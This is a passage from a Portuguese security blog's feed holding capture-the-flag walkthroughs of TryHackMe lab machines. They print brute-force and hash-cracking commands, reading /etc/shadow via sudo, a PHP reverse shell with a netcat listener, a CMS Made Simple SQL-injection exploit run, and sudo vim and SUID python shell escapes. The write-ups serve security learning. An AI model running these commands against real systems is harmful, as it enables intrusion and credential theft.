22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;strong&gt;Pontos de Interesse Encontrados:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 22:&lt;/strong&gt; SSH (&lt;code&gt;OpenSSH 7.6p1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 80:&lt;/strong&gt; HTTP (&lt;code&gt;Apache httpd 2.4.29&lt;/code&gt;)
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2. Enumeração de Diretórios Web&lt;/h3&gt;
&lt;p&gt;Com um servidor Apache rodando, o próximo passo foi buscar por diretórios e páginas ocultas. Utilizei o &lt;strong&gt;GoBuster&lt;/strong&gt; para essa tarefa.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.201.48.203/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O GoBuster rapidamente identificou um diretório promissor: &lt;code&gt;/admin&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;2. Acesso Inicial&lt;/h2&gt;
&lt;p&gt;A fase de acesso inicial focou em explorar o painel de administração encontrado na porta 80.&lt;/p&gt;
&lt;h3&gt;2.1. Análise do Painel de Administração&lt;/h3&gt;
&lt;p&gt;Ao acessar &lt;code&gt;http://10.201.48.203/admin&lt;/code&gt;, encontrei uma página de login. Inspecionando o código-fonte da página, uma dica crucial foi revelada em um comentário HTML.&lt;/p&gt;
&lt;p&gt;Isso confirmou dois nomes de usuário em potencial: &lt;code&gt;john&lt;/code&gt; e &lt;code&gt;admin&lt;/code&gt;. O formulário indicava que &lt;code&gt;admin&lt;/code&gt; era o usuário do painel.&lt;/p&gt;
&lt;h3&gt;2.2. Brute Force com Hydra&lt;/h3&gt;
&lt;p&gt;Sabendo o nome de usuário (&lt;code&gt;admin&lt;/code&gt;) e a URL do formulário, realizei um ataque de força bruta com o &lt;strong&gt;Hydra&lt;/strong&gt; para descobrir a senha.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.48.203 http-post-form &quot;/admin/:user=^USER^&amp;amp;pass=^PASS^:Username or password invalid&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[80][http-post-form] host: 10.201.48.203   login: admin   password: xavier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
As credenciais do painel de administração foram descobertas: &lt;code&gt;admin:xavier&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.3. Obtendo e Quebrando a Chave SSH&lt;/h3&gt;
&lt;p&gt;Após o login no painel com as credenciais encontradas, a página revelou uma chave SSH privada, provavelmente pertencente ao usuário &lt;code&gt;john&lt;/code&gt;. A chave estava protegida por uma senha (passphrase).&lt;/p&gt;
&lt;p&gt;Para obter acesso, precisei quebrar essa senha usando o &lt;strong&gt;John the Ripper&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Salvar a chave&lt;/strong&gt; em um arquivo chamado &lt;code&gt;id_rsa&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extrair o hash&lt;/strong&gt; da chave usando &lt;code&gt;ssh2john&lt;/code&gt;.&lt;pre&gt;&lt;code&gt;ssh2john id_rsa &amp;gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quebrar o hash&lt;/strong&gt; com o &lt;code&gt;john&lt;/code&gt; e a wordlist &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;pre&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
...
rockinroll       (id_rsa)       
...
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
A senha da chave SSH de John foi descoberta: &lt;code&gt;rockinroll&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.4. Obtendo Acesso e Capturando a Flag do Usuário&lt;/h3&gt;
&lt;p&gt;Com a chave privada (&lt;code&gt;id_rsa&lt;/code&gt;), o nome de usuário (&lt;code&gt;john&lt;/code&gt;) e a senha da chave (&lt;code&gt;rockinroll&lt;/code&gt;), o acesso via SSH foi possível.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ajustar as permissões da chave privada.&lt;pre&gt;&lt;code&gt;chmod 600 id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Conectar-se via SSH.&lt;pre&gt;&lt;code&gt;ssh -i id_rsa john@10.201.48.203
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Após inserir a senha &lt;code&gt;rockinroll&lt;/code&gt;, o acesso ao shell como usuário &lt;code&gt;john&lt;/code&gt; foi concedido. Com isso, foi simples capturar a flag do usuário.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john@bruteit:~$ ls
user.txt
john@bruteit:~$ cat user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;user.txt:&lt;/strong&gt; &lt;code&gt;thm{...user_flag...}&lt;/code&gt;
:::&lt;/p&gt;
&lt;h2&gt;3. Escalação de Privilégios&lt;/h2&gt;
&lt;p&gt;Com acesso como &lt;code&gt;john&lt;/code&gt;, o próximo passo foi escalar os privilégios para &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;3.1. Identificando o Vetor (&lt;code&gt;sudo&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;A primeira e mais importante verificação foi checar as permissões &lt;code&gt;sudo&lt;/code&gt; do usuário &lt;code&gt;john&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john@bruteit:~$ sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta foi a descoberta crítica. O usuário &lt;code&gt;john&lt;/code&gt; pode executar o comando &lt;code&gt;/bin/cat&lt;/code&gt; como &lt;code&gt;root&lt;/code&gt; e sem precisar de senha. Isso permite a leitura de qualquer arquivo no sistema.&lt;/p&gt;
&lt;h3&gt;3.2. Exploração e Quebra da Senha Root&lt;/h3&gt;
&lt;p&gt;A estratégia foi usar essa permissão para ler o arquivo &lt;code&gt;/etc/shadow&lt;/code&gt;, que contém os hashes das senhas de todos os usuários.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ler o conteúdo do &lt;code&gt;/etc/shadow&lt;/code&gt; como &lt;code&gt;root&lt;/code&gt;.&lt;pre&gt;&lt;code&gt;sudo cat /etc/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Copiar o hash da senha do usuário root.&lt;pre&gt;&lt;code&gt;root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Salvar o hash em um arquivo (&lt;code&gt;hash_root.txt&lt;/code&gt;) na máquina local e usar o &lt;strong&gt;John the Ripper&lt;/strong&gt; para quebrá-lo.&lt;pre&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash_root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;...
football         (root)         
...
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
A senha do usuário root foi descoberta: &lt;code&gt;football&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;3.3. Obtendo Acesso Root e Capturando a Flag&lt;/h3&gt;
&lt;p&gt;Com a senha do root em mãos, bastou usar o comando &lt;code&gt;su&lt;/code&gt; para se tornar o superusuário.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john@bruteit:~$ su -
Password: 
root@bruteit:~# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Após digitar a senha &lt;code&gt;football&lt;/code&gt;, o acesso &lt;code&gt;root&lt;/code&gt; foi obtido. A etapa final foi ler a flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@bruteit:~# cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;root.txt:&lt;/strong&gt; &lt;code&gt;thm{...user_flag...}&lt;/code&gt;
:::&lt;/p&gt;
</content:encoded></item><item><title>Try Hack Me - RootMe</title><link>https://felinux0x.github.io/posts/tryhackme-rootme/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/tryhackme-rootme/</guid><description>Walkthrough da máquina RootMe do TryHackMe, abordando upload de shell reverso e escalação de privilégios via SUID em Python.</description><pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Try Hack Me - RootMe&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.10.2.78&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Ubuntu Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; Upload de shell reverso PHP, escalação de privilégios via SUID em Python 2.7.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#ctf&lt;/code&gt; &lt;code&gt;#walkthrough&lt;/code&gt; &lt;code&gt;#nmap&lt;/code&gt; &lt;code&gt;#gobuster&lt;/code&gt; &lt;code&gt;#reverseshell&lt;/code&gt; &lt;code&gt;#privesc&lt;/code&gt; &lt;code&gt;#suid&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1. Reconhecimento e Enumeração&lt;/h2&gt;
&lt;p&gt;O primeiro passo foi escanear a máquina alvo para identificar portas abertas e os serviços em execução.&lt;/p&gt;
&lt;h3&gt;1.1. Varredura com Nmap&lt;/h3&gt;
&lt;p&gt;Usei o Nmap com o script &lt;code&gt;-sV&lt;/code&gt; para detectar as versões dos serviços.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV 10.10.2.78
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 19:18 -03
Nmap scan report for 10.10.2.78
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;strong&gt;Pontos de Interesse Encontrados:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 22:&lt;/strong&gt; SSH (&lt;code&gt;OpenSSH 8.2p1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 80:&lt;/strong&gt; HTTP (&lt;code&gt;Apache httpd 2.4.41&lt;/code&gt;)
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2. Enumeração de Diretórios Web&lt;/h3&gt;
&lt;p&gt;Com um servidor web ativo, o próximo passo foi procurar por diretórios e arquivos ocultos usando o &lt;strong&gt;GoBuster&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.10.2.78/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/uploads              (Status: 301) [Size: 310] [--&amp;gt; http://10.10.2.78/uploads/]
/css                  (Status: 301) [Size: 306] [--&amp;gt; http://10.10.2.78/css/]
/js                   (Status: 301) [Size: 305] [--&amp;gt; http://10.10.2.78/js/]
/panel                (Status: 301) [Size: 308] [--&amp;gt; http://10.10.2.78/panel/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O diretório &lt;code&gt;/panel/&lt;/code&gt; parece ser o mais promissor para investigação.&lt;/p&gt;
&lt;h2&gt;2. Acesso Inicial (Shell Reverso)&lt;/h2&gt;
&lt;p&gt;Ao investigar o diretório &lt;code&gt;/panel/&lt;/code&gt;, encontrei um formulário de upload. A estratégia foi enviar um shell reverso em PHP para ganhar acesso à máquina.&lt;/p&gt;
&lt;h3&gt;2.1. Preparando o Payload&lt;/h3&gt;
&lt;p&gt;Utilizei o conhecido script &lt;code&gt;php-reverse-shell&lt;/code&gt; do Pentestmonkey.&lt;/p&gt;
&lt;p&gt;:::warning
&lt;strong&gt;Modificação Necessária:&lt;/strong&gt; O servidor não executava arquivos com a extensão &lt;code&gt;.php&lt;/code&gt;. Foi necessário renomear o payload para &lt;strong&gt;&lt;code&gt;shell.php5&lt;/code&gt;&lt;/strong&gt; para que o upload e a execução funcionassem.
:::&lt;/p&gt;
&lt;h3&gt;2.2. Execução&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Iniciei um listener na minha máquina local com &lt;code&gt;netcat&lt;/code&gt; para receber a conexão reversa:&lt;pre&gt;&lt;code&gt;nc -lvnp 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Fiz o upload do arquivo &lt;code&gt;shell.php5&lt;/code&gt; através do formulário e o acessei pelo navegador (provavelmente em &lt;code&gt;/uploads/shell.php5&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;O listener recebeu a conexão, concedendo um shell como o usuário &lt;code&gt;www-data&lt;/code&gt;:&lt;pre&gt;&lt;code&gt;listening on [any] 1234 ...
connect to [10.9.1.139] from (UNKNOWN) [10.10.2.78] 40272
Linux ip-10-10-2-78 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
22:53:43 up 37 min,  0 users,  load average: 0.00, 0.00, 0.00
uid=33(www-data) gid=33(www-data) groups=33(www-data)    /bin/sh: 0: can&apos;t access tty; job control turned off
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.3. Capturando a Flag do Usuário&lt;/h3&gt;
&lt;p&gt;Com o acesso inicial, procurei pela flag &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ find / -type f -name &quot;user.txt&quot; 2&amp;gt;/dev/null
/var/www/user.txt
$ cat /var/www/user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;user.txt:&lt;/strong&gt; &lt;code&gt;THM{...user_flag...}&lt;/code&gt;
:::&lt;/p&gt;
&lt;h2&gt;3. Escalação de Privilégios&lt;/h2&gt;
&lt;p&gt;O objetivo final é obter acesso root. Para isso, procurei por vetores de escalação de privilégios, começando com binários que possuem a permissão SUID.&lt;/p&gt;
&lt;h3&gt;3.1. Identificando o Vetor&lt;/h3&gt;
&lt;p&gt;Usei o comando &lt;code&gt;find&lt;/code&gt; para listar todos os arquivos no sistema com o bit SUID ativado.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ find / -perm -4000 -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Um resultado se destacou:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/python2.7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O binário &lt;code&gt;/usr/bin/python2.7&lt;/code&gt; com permissão SUID é um vetor conhecido de escalação de privilégios.&lt;/p&gt;
&lt;h3&gt;3.2. Exploração com GTFOBins&lt;/h3&gt;
&lt;p&gt;O site &lt;a href=&quot;https://gtfobins.github.io/gtfobins/python/&quot;&gt;GTFOBins&lt;/a&gt; possui o comando exato para explorar essa vulnerabilidade e obter um shell com os privilégios do dono do arquivo (neste caso, &lt;code&gt;root&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Executei o seguinte comando no shell &lt;code&gt;www-data&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ /usr/bin/python2.7 -c &apos;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O parâmetro &lt;code&gt;-p&lt;/code&gt; no &lt;code&gt;sh&lt;/code&gt; garante que o &lt;em&gt;effective user ID&lt;/em&gt; seja mantido, resultando em um shell de root.&lt;/p&gt;
&lt;h3&gt;3.3. Capturando a Flag Root&lt;/h3&gt;
&lt;p&gt;Agora como &lt;code&gt;root&lt;/code&gt;, bastou encontrar e ler a flag final.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -type f -name &quot;root.txt&quot; 2&amp;gt;/dev/null
/root/root.txt
cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;root.txt:&lt;/strong&gt; &lt;code&gt;THM{...root_flag...}&lt;/code&gt;
:::&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe - Simple CTF</title><link>https://felinux0x.github.io/posts/tryhackme-simple-ctf/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/tryhackme-simple-ctf/</guid><description>Walkthrough da máquina Simple CTF do TryHackMe, explorando a CVE-2019-9053 (SQLi) no CMS Made Simple e escalando privilégios com sudo vim.</description><pubDate>Tue, 25 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TryHackMe - Simple CTF&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.201.34.55&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Ubuntu Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; SQL Injection no CMS Made Simple (CVE-2019-9053) para obter credenciais, seguido de escalação de privilégios via &lt;code&gt;sudo vim&lt;/code&gt;.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#ctf&lt;/code&gt; &lt;code&gt;#walkthrough&lt;/code&gt; &lt;code&gt;#nmap&lt;/code&gt; &lt;code&gt;#sqli&lt;/code&gt; &lt;code&gt;#cve&lt;/code&gt; &lt;code&gt;#vim&lt;/code&gt; &lt;code&gt;#privesc&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1. Reconhecimento e Enumeração&lt;/h2&gt;
&lt;p&gt;O reconhecimento inicial revelou um firewall que filtra a maioria das portas. Foi necessário um escaneamento mais robusto para identificar os serviços em execução.&lt;/p&gt;
&lt;h3&gt;1.1. Varredura com Nmap&lt;/h3&gt;
&lt;p&gt;Após tentativas iniciais com resultados filtrados, utilizei um escaneamento Nmap mais completo para garantir a descoberta dos serviços. Os parâmetros &lt;code&gt;-sC&lt;/code&gt; (scripts padrão), &lt;code&gt;-sV&lt;/code&gt; (versões) e &lt;code&gt;-Pn&lt;/code&gt; (ignorar descoberta de host) foram essenciais.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -T4 -sC -sV -Pn -oN nmap/initial 10.201.34.55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 10.201.34.55
Host is up (0.29s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can&apos;t get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|_  ...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;strong&gt;Pontos de Interesse Encontrados:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 21:&lt;/strong&gt; FTP (&lt;code&gt;vsftpd 3.0.3&lt;/code&gt;) com login anônimo habilitado.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 80:&lt;/strong&gt; HTTP (&lt;code&gt;Apache httpd 2.4.18&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 2222:&lt;/strong&gt; SSH (&lt;code&gt;OpenSSH 7.2p2&lt;/code&gt;) - A porta de serviço mais alta.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2. Enumeração de Diretórios Web&lt;/h3&gt;
&lt;p&gt;Para explorar o servidor web, usei o &lt;strong&gt;GoBuster&lt;/strong&gt; para encontrar diretórios ocultos.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.201.34.55 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O resultado mais relevante foi o diretório &lt;code&gt;/simple&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;2. Exploração (SQL Injection)&lt;/h2&gt;
&lt;h3&gt;2.1. Identificação da Vulnerabilidade&lt;/h3&gt;
&lt;p&gt;Ao acessar &lt;code&gt;http://10.201.34.55/simple&lt;/code&gt;, o rodapé da página revelou a tecnologia e a versão em uso: &lt;strong&gt;CMS Made Simple version 2.2.8&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Uma rápida pesquisa por essa versão levou à descoberta de uma vulnerabilidade de &lt;strong&gt;SQL Injection não autenticada&lt;/strong&gt;, registrada como &lt;strong&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/46635&quot;&gt;CVE-2019-9053&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;2.2. Execução do Exploit&lt;/h3&gt;
&lt;p&gt;Encontrei um script de exploração funcional no GitHub. O script permite extrair o hash da senha do administrador e, em seguida, quebrá-lo usando uma wordlist.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 exploit.py -u http://10.201.34.55/simple --crack -w /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado do Exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As credenciais obtidas foram &lt;code&gt;mitch&lt;/code&gt;:&lt;code&gt;secret&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;3. Acesso Inicial e Enumeração Interna&lt;/h2&gt;
&lt;p&gt;Com as credenciais em mãos, o próximo passo foi acessar a máquina via SSH na porta &lt;code&gt;2222&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;3.1. Conexão SSH&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ssh mitch@10.201.34.55 -p 2222
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2. Capturando a Flag do Usuário&lt;/h3&gt;
&lt;p&gt;Após o login, a flag do usuário estava no diretório home.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls
user.txt
$ cat user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;user.txt:&lt;/strong&gt; &lt;code&gt;...user_flag...&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;3.3. Enumeração de Usuários&lt;/h3&gt;
&lt;p&gt;Verifiquei o diretório &lt;code&gt;/home&lt;/code&gt; e encontrei outro usuário na máquina.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ pwd
/home/mitch
$ cd ..
$ ls
mitch  sunbath
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O outro usuário é o &lt;strong&gt;sunbath&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;4. Escalação de Privilégios&lt;/h2&gt;
&lt;p&gt;Para obter acesso root, verifiquei as permissões de &lt;code&gt;sudo&lt;/code&gt; do usuário &lt;code&gt;mitch&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;4.1. Identificando o Vetor&lt;/h3&gt;
&lt;p&gt;O comando &lt;code&gt;sudo -l&lt;/code&gt; revela o que um usuário pode executar como superusuário.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
&lt;strong&gt;Vetor Encontrado:&lt;/strong&gt; O usuário &lt;code&gt;mitch&lt;/code&gt; pode executar o editor de texto &lt;strong&gt;Vim&lt;/strong&gt; como &lt;code&gt;root&lt;/code&gt; e sem precisar de senha (&lt;code&gt;NOPASSWD&lt;/code&gt;).
:::&lt;/p&gt;
&lt;h3&gt;4.2. Obtendo um Shell Root&lt;/h3&gt;
&lt;p&gt;O &lt;strong&gt;Vim&lt;/strong&gt; pode ser usado para executar comandos do sistema. O site &lt;a href=&quot;https://gtfobins.github.io/gtfobins/vim/#sudo&quot;&gt;GTFOBins&lt;/a&gt; mostra como explorar essa permissão para obter um shell.&lt;/p&gt;
&lt;p&gt;Executei o seguinte comando para abrir um shell como root a partir do Vim:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo vim -c &apos;:!/bin/sh&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Isso me deu um shell com privilégios de root.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3. Capturando a Flag Root&lt;/h3&gt;
&lt;p&gt;Finalmente, naveguei até o diretório &lt;code&gt;/root&lt;/code&gt; para encontrar a última flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /root
ls
root.txt
cat root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;root.txt:&lt;/strong&gt; &lt;code&gt;...root_flag...!&lt;/code&gt;
:::&lt;/p&gt;
</content:encoded></item><item><title>Fluffy Machine - HTB (Windows | Easy)</title><link>https://felinux0x.github.io/posts/fluffy-machine-htb/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/fluffy-machine-htb/</guid><description>Enumeração de Active Directory, captura de hash NTLMv2, e escalação de privilégios via AD CS (Shadow Credentials &amp; ESC16).</description><pubDate>Mon, 15 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Fluffy Machine - HTB (Windows | Easy)&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.10.11.69&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Windows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; Enumeração de Active Directory, captura de hash NTLMv2, e escalação de privilégios via AD CS (Shadow Credentials &amp;amp; ESC16).
:::&lt;/li&gt;
&lt;/ul&gt;
